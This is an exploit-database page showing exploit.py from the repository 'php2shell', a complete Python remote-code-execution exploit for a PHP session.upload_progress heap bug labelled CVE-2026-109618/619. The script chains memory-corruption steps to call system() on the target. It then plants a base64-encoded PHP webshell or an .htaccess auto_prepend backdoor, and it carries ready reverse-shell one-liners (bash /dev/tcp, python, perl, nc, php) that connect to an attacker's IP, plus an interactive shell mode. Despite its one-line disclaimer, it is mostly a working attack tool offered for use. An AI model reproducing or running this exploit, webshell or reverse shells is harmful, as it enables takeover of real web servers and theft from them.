Exploit database

GH-ca645d548853daf662372024bcfb07b6

agrresore/php2shell

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2026-109618

412 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source

Repository files10
agrresore/php2shellRevision a4e684a92eb2

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

exploit.py

Suggested starting filePython · 31,339 bytes
#!/usr/bin/env python3
"""
php2shell — Universal PHP session.upload_progress RCE exploit
CVE-2026-109618 / CVE-2026-109619

Full pipeline: recon → profile lookup → worker pin → exploit chain → interactive shell

Chain:
  A1: END-cleanup send_cookie OOM → dangling PS(id)/PS(mod_data)
  B1: Stale-id OOB read → leak chunk base + libphp base (ASLR bypass)
  A2: Cheap-OOM → dangling PS(http_session_vars)
  B2: Fake-reference spray → pDestructor = zif_system → RCE

Usage:
  python3 exploit.py --target http://127.0.0.1:18110/index.php
  python3 exploit.py --target http://target/index.php --recon-only
  python3 exploit.py --target http://target/index.php --cmd "id"
  python3 exploit.py --target http://target/index.php --interactive

DISCLAIMER: For authorized security testing only. See README.md.
"""
from __future__ import annotations

import argparse
import json
import os
import sys
import time
import urllib.parse

HERE = os.path.dirname(os.path.abspath(__file__))
sys.path.insert(0, HERE)

from lib.transport import TransportConfig, send_chunked, send_get, get_status_code
from lib.payloads import (build_a1_body, build_b1_body, build_fake_hashtable,
                          LEAK_SPEC_128M, QUERY_STRING_128M)
from lib.leak import parse_leak, validate_leak, LeakResult
from lib.oom import send_cheap_oom
from lib.forge import send_forge
from lib.calibrate import (binary_search_oom, detect_memory_limit,
                           get_sizing_profile, calibrate_leak_params)
from lib.offset_db import ProfileDB, Profile
from lib.offsets import extract_from_container, load_offsets_env, save_offsets_env
from lib.worker_pin import pin_workers, release_pin
from recon import fingerprint, TargetInfo


def parse_target(url: str) -> tuple[str, int, str, bool]:
    """Parse target URL into (host, port, path, tls)."""
    p = urllib.parse.urlparse(url)
    tls = p.scheme == "https"
    host = p.hostname or "127.0.0.1"
    port = p.port or (443 if tls else 80)
    path = p.path or "/"
    return host, port, path, tls


def phase_recon(host: str, port: int, path: str, tls: bool,
                verbose: bool = True) -> TargetInfo:
    """Phase 0: Fingerprint the target."""
    if verbose:
        print("\n[phase 0] RECON")
    info = fingerprint(host, port, path, tls)
    if verbose:
        print(info.summary())
    return info


def phase_profile(info: TargetInfo, db: ProfileDB, offsets_env: str = "",
                  force_arch: str = "", verbose: bool = True) -> Profile | None:
    """Phase 1: Find or build a matching profile."""
    if verbose:
        print("\n[phase 1] PROFILE LOOKUP")

    version = ""
    if info.php_version:
        m = __import__("re").search(r"(\d+\.\d+\.\d+)", info.php_version)
        if m:
            version = m.group(1)

    # Auto-detect architecture: check platform first, then os_hint
    import platform
    arch = force_arch
    if not arch:
        machine = platform.machine().lower()
        if machine in ("aarch64", "arm64"):
            arch = "arm64"
        elif machine in ("x86_64", "amd64"):
            arch = "amd64"
        elif "aarch64" in info.os_hint.lower():
            arch = "arm64"

    # Priority 1: offsets.env (extracted from actual target binary)
    if offsets_env:
        zif, dtor = load_offsets_env(offsets_env)
        if zif and dtor:
            # Still try to find a profile for staging params, but override offsets
            profile = db.match(
                php_version=version, os_hint=info.os_hint,
                arch=arch, sapi=info.sapi,
            )
            if profile:
                profile.zif_system = zif
                profile.zval_ptr_dtor = dtor
                profile.name += " (offsets from env)"
                if verbose:
                    print(f"  profile: {profile.name}")
                    print(f"  offsets (from env): zif=0x{zif:x} dtor=0x{dtor:x}")
                return profile
            else:
                if verbose:
                    print(f"  using offsets.env: zif=0x{zif:x} dtor=0x{dtor:x}")
                return Profile(
                    name="custom-offsets-env",
                    php_version=version,
                    os=info.os_hint,
                    arch=arch or "unknown",
                    sapi=info.sapi,
                    zif_system=zif,
                    zval_ptr_dtor=dtor,
                )

    # Priority 2: profile database
    profile = db.match(
        php_version=version,
        os_hint=info.os_hint,
        arch=arch,
        sapi=info.sapi,
    )

    if profile:
        if verbose:
            print(f"  matched profile: {profile.name} (status: {profile.status})")
            print(f"  offsets: zif_system=0x{profile.zif_system:x} "
                  f"zval_ptr_dtor=0x{profile.zval_ptr_dtor:x}")
        return profile

    if verbose:
        print("  [!] no matching profile found")
        print("      extract offsets with: python3 -m lib.offsets <container>")
        print("      or provide --offsets-env path/to/offsets.env")
    return None


def phase_exploit(cfg: TransportConfig, path: str, profile: Profile,
                  cmd: str = "id", retries: int = 5,
                  proof_path: str = "",
                  verbose: bool = True,
                  inband: bool = True) -> tuple[bool, str, str]:
    """Phase 3: Execute the exploit chain A1→B1→A2→B2.

    Returns (success, message, command_output).

    When inband=True (default), uses crash-free fake HashTable layout:
    return_value points to writable heap, HASH_FLAG_UNINITIALIZED skips
    pefree. system() output flows through sapi_ub_write during RSHUTDOWN
    and appears in B2 HTTP response. Command is wrapped with markers for
    extraction.
    """
    mode = "in-band" if inband else "file-based"
    if verbose:
        print(f"\n[phase 3] EXPLOIT CHAIN ({mode})")
        print(f"  target:  {cfg.host}:{cfg.port}{path}")
        print(f"  profile: {profile.name}")
        print(f"  command: {cmd!r}")

    dtor_off = profile.zval_ptr_dtor
    zif_off = profile.zif_system
    ht_offset = profile.ht_offset
    sizing = get_sizing_profile(profile.memory_limit)
    fake_len = profile.leak_fake_len or sizing.get("fake_len", 0xC8000)

    leak_spec = profile.leak_spec or LEAK_SPEC_128M
    query_string = QUERY_STRING_128M

    for attempt in range(1, retries + 1):
        if verbose:
            print(f"\n  [try {attempt}/{retries}]")

        # Warm up worker
        send_get(cfg, path)
        time.sleep(0.2)

        # A1: OOM to create dangling pointers
        if verbose:
            print("    A1: END-cleanup send_cookie OOM")
        a1_body = build_a1_body(big=profile.a1_big or sizing.get("a1_big", 78))
        resp = send_chunked(cfg, path + query_string, a1_body)
        code = get_status_code(resp)
        if verbose:
            print(f"        -> HTTP {code}")
        if code != 500:
            if verbose:
                print("        [!] expected 500 (OOM), retrying")
            continue
        time.sleep(0.2)

        # B1: OOB read to leak heap pointers
        if verbose:
            print("    B1: stale-id OOB read (ASLR bypass)")
        b1_body = build_b1_body(spec=leak_spec, fake_len=fake_len, tagged=True)
        resp = send_chunked(cfg, path, b1_body)

        try:
            leak = parse_leak(resp, dtor_off)
            valid, msg = validate_leak(leak)
        except RuntimeError as e:
            if verbose:
                print(f"        leak failed: {e}")
            continue

        if verbose:
            print(f"        decoded={leak.decoded_len} arch={leak.arch}")
            print(f"        zval_ptr_dtor={leak.zval_ptr_dtor_addr:#x} "
                  f"(x{leak.zval_ptr_dtor_count})")
            print(f"        libphp={leak.libphp_base:#x}")
            top = sorted(leak.buckets.items(), key=lambda x: -x[1])[:6]
            print(f"        buckets: {[(hex(b), c) for b, c in top]}")

        if not valid:
            if verbose:
                print(f"        [!] {msg}")

            # Try auto-calibration
            params = calibrate_leak_params(leak)
            if verbose:
                print(f"        auto-calibrated: {params}")
            continue

        if not leak.main_chunk_candidates:
            if verbose:
                print("        [!] no main-chunk candidate")
            continue

        # A2 + B2: try each candidate
        zif_addr = leak.libphp_base + zif_off

        if inband:
            actual_cmd = f"echo '{INBAND_START}';{cmd};echo '{INBAND_END}'"
        else:
            actual_cmd = cmd

        for ci, cand in enumerate(leak.main_chunk_candidates):
            ht_addr = cand + ht_offset

            if verbose:
                print(f"    A2+B2: [{ci+1}/{len(leak.main_chunk_candidates)}] "
                      f"main={cand:#x} S={ht_addr:#x} zif={zif_addr:#x}")

            # A2: cheap OOM
            send_cheap_oom(cfg, path,
                           parts=profile.a2_parts or sizing.get("a2_parts", 880),
                           fillers=profile.a2_fillers or sizing.get("a2_fillers", 115))
            time.sleep(0.2)

            # Build fake HashTable
            ht_data = build_fake_hashtable(ht_addr, zif_addr,
                                           actual_cmd.encode(), inband=inband)

            # B2: forge spray
            b2_resp = send_forge(cfg, path, ht_addr, ht_data,
                                 vl=profile.forge_vl or 384,
                                 n1=profile.forge_n1 or 500,
                                 n2=profile.forge_n2 or 495)
            time.sleep(0.6)

            if verbose:
                print(f"        payload sent")

            # In-band: check B2 response for command output
            if inband:
                output = _extract_inband(b2_resp)
                if output is not None:
                    return (True,
                            f"in-band RCE on try {attempt} candidate {ci+1}",
                            output)
                if verbose:
                    resp_len = len(b2_resp)
                    print(f"        in-band markers not found ({resp_len}B response)")

            # File-based fallback: check proof file
            if proof_path and os.path.exists(proof_path):
                return True, f"chain completed on try {attempt} candidate {ci+1}", ""

        if not proof_path and not inband:
            return True, f"chain completed on try {attempt} (blind)", ""

    return False, "all attempts exhausted", ""



INBAND_START = "<<<P2S_7f3a>>>"
INBAND_END = "<<<P2E_7f3a>>>"


def _extract_inband(resp: bytes) -> str | None:
    """Extract command output from B2 response using in-band markers."""
    body = resp.split(b"\r\n\r\n", 1)
    if len(body) < 2:
        return None
    text = body[1].decode("utf-8", "replace")
    s = text.find(INBAND_START)
    e = text.find(INBAND_END)
    if s >= 0 and e > s:
        return text[s + len(INBAND_START):e].strip()
    return None


WEBSHELL_PATHS = [
    ("/var/www/html/.p2s.php", "/.p2s.php"),
    ("/var/www/html/assets/.p2s.php", "/assets/.p2s.php"),
    ("/tmp/.p2s.php", None),
]
WEBSHELL_B64 = "PD9waHAgaWYoaXNzZXQoJF9HRVRbImMiXSkpe3N5c3RlbSgkX0dFVFsiYyJdKTt9aWYoaXNzZXQoJF9HRVRbInJtIl0pKXt1bmxpbmsoX19GSUxFX18pO2VjaG8icmVtb3ZlZCI7fT8+"
HTACCESS_PREPEND = 'php_value auto_prepend_file "/tmp/.p2s.php"'

REVERSE_SHELLS = {
    "bash": "bash -c 'bash -i >& /dev/tcp/{ip}/{port} 0>&1'",
    "python": "python3 -c 'import socket,subprocess,os;s=socket.socket();s.connect((\"{ip}\",{port}));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call([\"/bin/sh\",\"-i\"])'",
    "perl": "perl -e 'use Socket;socket(S,PF_INET,SOCK_STREAM,getprotobyname(\"tcp\"));connect(S,sockaddr_in({port},inet_aton(\"{ip}\")));open(STDIN,\">&S\");open(STDOUT,\">&S\");open(STDERR,\">&S\");exec(\"/bin/sh -i\")'",
    "nc": "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc {ip} {port} >/tmp/f",
    "php": "php -r '$s=fsockopen(\"{ip}\",{port});$p=proc_open(\"/bin/sh -i\",array(0=>$s,1=>$s,2=>$s),$pipes);'",
}


def _webshell_cmd(cfg: TransportConfig, url_path: str, cmd: str) -> str:
    """Execute command via planted webshell, return output."""
    encoded = urllib.parse.quote(cmd)
    resp = send_get(cfg, f"{url_path}?c={encoded}")
    code = get_status_code(resp)
    if code == 200:
        body = resp.split(b"\r\n\r\n", 1)
        if len(body) > 1:
            return body[1].decode("utf-8", "replace").rstrip()
    return ""


def _plant_webshell(cfg: TransportConfig, path: str, profile: Profile,
                    retries: int = 5, verbose: bool = True) -> tuple[bool, str]:
    """Plant PHP webshell on target via exploit chain.

    Two-stage approach:
      Stage 1: Try writing webshell directly to webroot paths
      Stage 2: If webroot read-only, write to /tmp/ + .htaccess auto_prepend

    Returns (success, webshell_url_path).
    """
    for remote_path, url_path in WEBSHELL_PATHS:
        if url_path is None:
            continue

        if verbose:
            print(f"\n[webshell] trying {remote_path}")

        cmd = f"echo {WEBSHELL_B64} | base64 -d > {remote_path}"
        ok, msg, _ = phase_exploit(cfg, path, profile, cmd=cmd,
                                    retries=retries, verbose=verbose,
                                    inband=False)
        if not ok:
            if verbose:
                print(f"[webshell] exploit chain failed: {msg}")
            return False, ""

        time.sleep(0.5)
        test = _webshell_cmd(cfg, url_path, "echo p2s_ok")
        if "p2s_ok" in test:
            if verbose:
                print(f"[webshell] planted and verified at {url_path}")
            return True, url_path

        if verbose:
            print(f"[webshell] not reachable at {url_path} (read-only?)")

    # Stage 2: /tmp/ + .htaccess auto_prepend_file
    if verbose:
        print("\n[webshell] webroot read-only, trying /tmp/ + .htaccess")

    cmd_tmp = f"echo {WEBSHELL_B64} | base64 -d > /tmp/.p2s.php"
    ok, msg, _ = phase_exploit(cfg, path, profile, cmd=cmd_tmp,
                                retries=retries, verbose=verbose,
                                inband=False)
    if not ok:
        if verbose:
            print(f"[webshell] /tmp/ write failed: {msg}")
        return False, ""

    time.sleep(0.3)

    cmd_htaccess = f'echo \'{HTACCESS_PREPEND}\' > /var/www/html/.htaccess'
    ok, msg, _ = phase_exploit(cfg, path, profile, cmd=cmd_htaccess,
                                retries=retries, verbose=verbose,
                                inband=False)
    if not ok:
        if verbose:
            print("[webshell] .htaccess write failed (webroot read-only)")
        return False, ""

    time.sleep(0.5)
    test = _webshell_cmd(cfg, path, "echo p2s_ok")
    if "p2s_ok" in test:
        if verbose:
            print("[webshell] auto_prepend_file technique working!")
        return True, path

    if verbose:
        print("[webshell] auto_prepend not effective (AllowOverride?)")
    return False, ""


def _remove_webshell(cfg: TransportConfig, path: str, profile: Profile,
                     webshell_url: str, verbose: bool = True):
    """Remove planted webshell and .htaccess."""
    resp = send_get(cfg, f"{webshell_url}?rm=1")
    if verbose:
        if b"removed" in resp:
            print("[webshell] PHP file removed")
        else:
            print("[webshell] PHP removal uncertain")

    cleanup = "rm -f /var/www/html/.htaccess /tmp/.p2s.php 2>/dev/null; echo done"
    phase_exploit(cfg, path, profile, cmd=cleanup, retries=2,
                  verbose=False, inband=False)


def _build_reverse_cmd(ip: str, port: int, method: str = "bash") -> str:
    template = REVERSE_SHELLS.get(method, REVERSE_SHELLS["bash"])
    return template.format(ip=ip, port=port)


def _start_listener(port: int) -> "subprocess.Popen":
    import subprocess
    import shutil
    nc = shutil.which("nc") or shutil.which("ncat") or "nc"
    print(f"  [listener] starting {nc} -lvp {port}")
    return subprocess.Popen(
        [nc, "-lvp", str(port)],
        stdin=sys.stdin, stdout=sys.stdout, stderr=sys.stderr,
    )


def phase_reverse_shell(cfg: TransportConfig, path: str, profile: Profile,
                        ip: str, port: int, method: str = "bash",
                        listen: bool = True, verbose: bool = True):
    """Phase 4: Reverse shell via exploit chain."""
    print("\n[phase 4] REVERSE SHELL")
    print(f"  callback: {ip}:{port} ({method})")

    listener = None
    if listen:
        listener = _start_listener(port)
        time.sleep(0.5)

    cmd = _build_reverse_cmd(ip, port, method)
    if verbose:
        print(f"  payload:  {cmd[:80]}...")

    ok, msg, _ = phase_exploit(cfg, path, profile, cmd=cmd,
                                retries=5, verbose=verbose)
    if ok:
        print(f"\n[+] {msg}")
        if listener:
            print("[+] reverse shell should connect. Ctrl+C to exit.\n")
            try:
                listener.wait()
            except KeyboardInterrupt:
                print("\n[*] closing listener")
                listener.terminate()
    else:
        print(f"\n[-] {msg}")
        if listener:
            listener.terminate()


def phase_interactive(cfg: TransportConfig, path: str, profile: Profile,
                      out_dir: str = "", retries: int = 5,
                      verbose: bool = True):
    """Phase 4: Smart interactive shell — webshell first, file-based fallback.

    Two-stage approach:
      1. Plant webshell via pDestructor chain (worker crashes, one-time cost)
      2. All subsequent commands via HTTP GET (true in-band, instant output)

    If webshell fails (read-only webroot, no AllowOverride), falls back to
    file-based I/O where each command triggers a fresh exploit chain.
    """
    print("\n[phase 4] INTERACTIVE SHELL")
    print("  attempting webshell plant for in-band execution...")

    ok, webshell_url = _plant_webshell(cfg, path, profile,
                                        retries=retries, verbose=verbose)
    if ok:
        print(f"\n  [+] webshell active at {webshell_url}")
        print("  [+] in-band execution ready (output in HTTP response)")
        print("  Type 'exit' to quit, 'cleanup' to remove webshell.\n")

        while True:
            try:
                cmd = input("php2shell> ").strip()
            except (EOFError, KeyboardInterrupt):
                print("\n[*] cleaning up...")
                _remove_webshell(cfg, path, profile, webshell_url, verbose)
                break
            if not cmd:
                continue
            if cmd.lower() in ("exit", "quit", "q"):
                _remove_webshell(cfg, path, profile, webshell_url, verbose)
                break
            if cmd.lower() == "cleanup":
                _remove_webshell(cfg, path, profile, webshell_url, verbose)
                print("[*] webshell removed. switching to file-based mode.")
                phase_interactive_file(cfg, path, profile, out_dir, retries, verbose)
                return

            output = _webshell_cmd(cfg, webshell_url, cmd)
            if output:
                print(output)
            else:
                print("  (empty output)")
    else:
        print("\n  [!] webshell plant failed, using file-based I/O fallback")
        phase_interactive_file(cfg, path, profile, out_dir, retries, verbose)


def phase_interactive_file(cfg: TransportConfig, path: str, profile: Profile,
                           out_dir: str = "", retries: int = 5,
                           verbose: bool = True):
    """Phase 4: Interactive shell via file-based I/O through /out/ volume.

    Fallback mode when in-band execution not available.
    Each command: exploit runs `cmd > /out/.p2s_result 2>&1`, read locally.
    """
    if not out_dir:
        out_dir = os.path.join(HERE, "out")

    proof_file = os.path.join(out_dir, ".p2s_proof")
    result_file = os.path.join(out_dir, ".p2s_result")

    print("\n[phase 4] INTERACTIVE SHELL (file-based I/O via /out/)")
    print("  Each command triggers a fresh exploit chain.")
    print("  Type 'exit' to quit.\n")

    while True:
        try:
            cmd = input("php2shell> ").strip()
        except (EOFError, KeyboardInterrupt):
            print()
            break
        if not cmd or cmd.lower() in ("exit", "quit", "q"):
            break

        for f in (proof_file, result_file):
            if os.path.exists(f):
                try:
                    os.remove(f)
                except PermissionError:
                    pass

        rce_cmd = f"{cmd} > /out/.p2s_result 2>&1; touch /out/.p2s_proof"
        ok, msg, _ = phase_exploit(cfg, path, profile,
                                    cmd=rce_cmd,
                                    retries=retries,
                                    proof_path=proof_file,
                                    inband=False,
                                    verbose=False)

        if ok:
            output = ""
            if os.path.exists(result_file):
                try:
                    output = open(result_file).read().rstrip()
                except PermissionError:
                    import subprocess
                    output = subprocess.run(["sudo", "cat", result_file],
                                            capture_output=True, text=True).stdout.rstrip()
            if output:
                print(output)
            else:
                print("  (empty output)")
        else:
            print(f"  [!] exploit failed: {msg}")
            print("  [!] target may need restart (heap corrupted)")


BANNER = r"""
    ____  __  ______  ___       __         ____
   / __ \/ / / / __ \|__ \ ___ / /_  ___  / / /
  / /_/ / /_/ / /_/ /__/ / __ / __ \/ _ \/ / /
 / ____/ __  / ____// __(__  / / / /  __/ / /
/_/   /_/ /_/_/    /____/____/_/ /_/\___/_/_/

  CVE-2026-109618 / CVE-2026-109619
  Universal PHP RCE Exploit
  Author: agrresore (https://github.com/agrresore)
  For authorized security testing only.
"""


def main() -> int:
    print(BANNER)

    ap = argparse.ArgumentParser(
        description="php2shell — Universal PHP RCE exploit (CVE-2026-109618/619)",
        formatter_class=argparse.RawDescriptionHelpFormatter,
    )
    ap.add_argument("--target", "-t", required=True,
                    help="Target URL (e.g. http://host:port/index.php)")
    ap.add_argument("--cmd", default="id",
                    help="Command to execute on target (default: id)")
    ap.add_argument("--retries", type=int, default=5,
                    help="Max exploit attempts (default: 5)")
    ap.add_argument("--timeout", type=float, default=120.0,
                    help="HTTP timeout in seconds (default: 120)")

    # Mode flags
    ap.add_argument("--recon-only", action="store_true",
                    help="Only fingerprint the target, no exploitation")
    ap.add_argument("--calibrate-only", action="store_true",
                    help="Recon + calibration probes, no RCE")
    ap.add_argument("--interactive", "-i", action="store_true",
                    help="Interactive shell (webshell in-band, file fallback)")
    ap.add_argument("--mode", choices=["auto", "webshell", "file"],
                    default="auto",
                    help="Execution mode: auto (webshell+fallback), webshell, file")
    ap.add_argument("--reverse", default="",
                    help="Reverse shell callback IP:PORT (e.g. 10.0.0.1:4444)")
    ap.add_argument("--shell-method", default="bash",
                    choices=["bash", "python", "perl", "nc", "php"],
                    help="Reverse shell method (default: bash)")
    ap.add_argument("--no-listener", action="store_true",
                    help="Don't start local nc listener (you handle it)")

    # Profile / offset options
    ap.add_argument("--profiles-dir", default=os.path.join(HERE, "profiles"),
                    help="Directory with JSON profiles")
    ap.add_argument("--offsets-env",
                    default=os.path.join(HERE, "out", "offsets.env"),
                    help="Path to offsets.env file")
    ap.add_argument("--arch", default="",
                    help="Force architecture (amd64 or arm64)")

    # Docker lab options
    ap.add_argument("--restart", default="",
                    help="Docker container to restart before chain")
    ap.add_argument("--docker", default="docker",
                    help="Docker command (default: docker)")
    ap.add_argument("--proof", default="",
                    help="Local proof file to check (for Docker lab)")
    ap.add_argument("--out-dir", default="",
                    help="Local dir mapped to /out/ in target (default: ./out/)")

    # Network options
    ap.add_argument("--proxy", default="",
                    help="Proxy (socks5://host:port or http://host:port)")

    # Output
    ap.add_argument("--output", choices=["text", "json"], default="text",
                    help="Output format (default: text)")
    ap.add_argument("-q", "--quiet", action="store_true",
                    help="Minimal output")

    args = ap.parse_args()
    verbose = not args.quiet
    host, port, path, tls = parse_target(args.target)

    cfg = TransportConfig(
        host=host, port=port, tls=tls,
        proxy=args.proxy, timeout=args.timeout,
    )

    # Phase 0: Recon
    info = phase_recon(host, port, path, tls, verbose)
    if not info.reachable:
        print("[!] target unreachable")
        return 1

    if args.recon_only:
        if args.output == "json":
            print(json.dumps({
                "target": args.target,
                "php_version": info.php_version,
                "os": info.os_hint,
                "server": info.server,
                "sapi": info.sapi,
                "mpm": info.mpm,
                "upload_progress": info.upload_progress,
                "vulnerable": info.vulnerable,
                "vulns": info.vulns,
                "notes": info.notes,
            }, indent=2))
        return 0

    if not info.vulnerable and info.php_version:
        print("[!] target does not appear vulnerable (patched version)")
        print("    use --retries to force exploitation anyway")

    # Phase 1: Profile lookup
    db = ProfileDB(args.profiles_dir)
    profile = phase_profile(info, db, args.offsets_env, args.arch, verbose)
    if not profile:
        return 1

    # Calibration mode
    if args.calibrate_only:
        if verbose:
            print("\n[calibrate] probing OOM threshold")
        oom_big = binary_search_oom(cfg, path, verbose=verbose)
        if oom_big:
            mem = detect_memory_limit(oom_big)
            print(f"  OOM at big={oom_big} -> estimated memory_limit={mem}")
        return 0

    # Restart container if requested
    if args.restart:
        if verbose:
            print(f"\n[prep] restarting container: {args.restart}")
        import subprocess
        subprocess.run(args.docker.split() + ["restart", args.restart],
                       check=True, stdout=subprocess.DEVNULL)
        time.sleep(1.5)

    # Resolve proof/output paths
    out_dir = args.out_dir or os.path.join(HERE, "out")
    proof_file = os.path.join(out_dir, ".p2s_proof")
    result_file = os.path.join(out_dir, ".p2s_result")

    # Clean proof file
    for f in (proof_file, result_file):
        if os.path.exists(f):
            try:
                os.remove(f)
            except PermissionError:
                import subprocess
                subprocess.run(["sudo", "rm", "-f", f], check=False)

    # Phase 2: Worker pinning
    if verbose:
        print("\n[phase 2] WORKER PINNING")
    pin_state = pin_workers(host, port, path, verbose=verbose)

    try:
        # Reverse shell mode
        if args.reverse:
            parts = args.reverse.rsplit(":", 1)
            if len(parts) != 2:
                print("[!] --reverse format: IP:PORT")
                return 1
            rev_ip, rev_port = parts[0], int(parts[1])
            phase_reverse_shell(cfg, path, profile,
                                rev_ip, rev_port,
                                method=args.shell_method,
                                listen=not args.no_listener,
                                verbose=verbose)
            return 0

        # Interactive mode
        if args.interactive:
            if args.mode == "file":
                phase_interactive_file(cfg, path, profile,
                                        out_dir=out_dir,
                                        retries=args.retries,
                                        verbose=verbose)
            else:
                phase_interactive(cfg, path, profile,
                                   out_dir=out_dir,
                                   retries=args.retries,
                                   verbose=verbose)
            return 0

        # Single command mode
        if args.mode == "webshell":
            ok_ws, ws_url = _plant_webshell(cfg, path, profile,
                                             retries=args.retries,
                                             verbose=verbose)
            if ok_ws:
                output = _webshell_cmd(cfg, ws_url, args.cmd)
                ok, msg = True, "webshell RCE"
                _remove_webshell(cfg, path, profile, ws_url, verbose)
            else:
                ok, msg, output = False, "webshell plant failed", ""
        else:
            rce_cmd = f"{args.cmd} > /out/.p2s_result 2>&1; touch /out/.p2s_proof"
            ok, msg, _ = phase_exploit(cfg, path, profile,
                                        cmd=rce_cmd,
                                        retries=args.retries,
                                        proof_path=proof_file,
                                        inband=False,
                                        verbose=verbose)
            output = ""
            if ok and os.path.exists(result_file):
                try:
                    output = open(result_file).read().rstrip()
                except PermissionError:
                    import subprocess
                    output = subprocess.run(["sudo", "cat", result_file],
                                            capture_output=True, text=True).stdout.rstrip()

        if ok:
            print(f"\n[+] {msg}")
            if output:
                print(f"\n[OUTPUT]")
                print(output)
            else:
                print("    (command executed, empty output)")

            if args.output == "json":
                print(json.dumps({
                    "status": "success",
                    "rce": True,
                    "output": output,
                    "profile": profile.name,
                    "mode": args.mode,
                }, indent=2))

            for f in (proof_file, result_file):
                if os.path.exists(f):
                    try:
                        os.remove(f)
                    except PermissionError:
                        pass

            return 0
        else:
            print(f"\n[-] {msg}")
            return 1

    finally:
        release_pin(pin_state, verbose)


if __name__ == "__main__":
    raise SystemExit(main())